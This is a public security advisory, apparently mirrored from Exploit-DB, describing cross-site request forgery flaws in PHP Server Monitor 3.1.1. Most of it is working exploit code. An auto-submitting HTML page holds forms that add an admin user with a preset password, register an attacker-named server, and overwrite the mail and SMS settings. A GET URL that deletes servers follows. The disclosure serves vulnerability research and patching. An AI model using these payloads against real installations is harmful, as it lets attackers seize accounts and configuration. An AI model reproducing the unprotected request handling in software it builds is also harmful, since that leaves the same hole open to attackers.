PHP Server Monitor 3.1.1 Cross Site Request Forgery (CSRF) Vulnerability

vendor:

PHP Server Monitor

by:

hyp3rlinx

7.5

CVSS

HIGH

Cross site request forgery (CSRF)

352

CWE

Product Name: PHP Server Monitor

Affected Version From: PHP Server Monitor 3.1.1

Affected Version To: PHP Server Monitor 3.1.1

Patch Exists: NO

Related CWE:

CPE: a:phpservermonitor:php_server_monitor:3.1.1

Metasploit:

Other Scripts:

Platforms Tested:

PHP Server Monitor 3.1.1 Cross Site Request Forgery (CSRF) Vulnerability

Multiple CSRF issues in PHP Server Monitor allow remote attackers to add arbitrary users & servers to the system, modify system configurations and delete arbitrary servers, if user (admin) is logged in and visits our malicious website or clicks on our infected links. As no CSRF protection is used in the application, we can make requests on the victim's behalf and the server will happily oblige processing our malicious HTTP requests.

Mitigation:

No mitigation available at the moment.

Source

Exploit-DB raw data:

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-CSRF.txt


Vendor:
================================
www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download


Product:
================================
PHP Server Monitor 3.1.1


Vulnerability Type:
=================================
Cross site request forgery (CSRF)


Vulnerability Details:
=====================

Multiple CSRF issues in PHP Server Monitor allow remote attackers to add
arbitrary users & servers to the system, modify system configurations
and delete arbitrary servers, if user (admin) is logged in and visits our
malicious website or clicks on our infected linxs. As no CRSF protection is
used in the application, we can make request on the victims behalf an the
server will happily oblige processing our malicous HTTP requests.


Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>


1) add arbitrary users to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"
method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="20">
<input type="text" name="password" value="abc123">
<input type="text" name="password_repeat" value="abc123">
<input type="text" name="email" value="ghostofsin@abyss.com">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>



2) add arbitrary servers to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=server&action=save&id=0&back_to="
method="post">
<input type="text" name="label" value="HELL" >
<input type="text" name="ip" value="malicious-domain.hell">
<input type="text" name="type" value="service">
<input type="text" name="port" value="666">
<input type="text" name="pattern" value="">
<input type="text" name="warning_threshold" value="1">
<input type="text" name="timeout" value="">
<input type="text" name="active" value="yes">
<input type="text" name="email" value="yes">
<input type="text" name="sms" value="yes">
<input type="text" name="pushover" value="yes">
</form>


3) modify system configuration:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/index.php?mod=config&action=save"
method="post">
<input type="text" name="language" value="en_US" >
<input type="text" name="show_update%5B%5D=" value="on">
<input type="text" name="auto_refresh_servers" value="0">
<input type="text" name="alert_type" value="status">
<input type="text" name="log_status%5B%5D" value="on">
<input type="text" name="log_retention_period" value="1">
<input type="text" name="email_status%5B%5D" value="on">
<input type="text" name="log_email%5B%5D" value="on">
<input type="text" name="email_from_name" value="ghostofsin">
<input type="text" name="email_from_email" value="abysmalgodz@abyss.com">
<input type="text" name="email_smtp_port" value="25">
<input type="text" name="email_smtp_security" value="">
<input type="text" name="email_smtp_username" value="">
<input type="text" name="email_smtp_password" value="">
<input type="text" name="test_email" value="1">
<input type="text" name="log_sms%5B%5D" value="on">
<input type="text" name="sms_gateway" value="whatever">
<input type="text" name="sms_gateway_username" value="username">
<input type="text" name="sms_gateway_password" value="password">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="test_sms" value="0">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="log_pushover%5B%5D" value="0">
<input type="text" name="pushover_api_token" value="">
<input type="text" name="test_pushover" value="0">
</form>

</body>
</html>


4) arbitrary server deletion via GET request:

http://localhost/sectest/phpservermon-3.1.1/?&mod=server&action=delete&id=2


Exploitation Technique:
=======================
Remote


Severity Level:
=========================================================
High


Disclosure Timeline:
=========================================================
Vendor Notification: NA
Oct 30, 2015  : Public Disclosure


Description:
==========================================================


Request Method(s):              [+]  GET / POST


Vulnerable Product:             [+]  PHP Server Monitor 3.1.1



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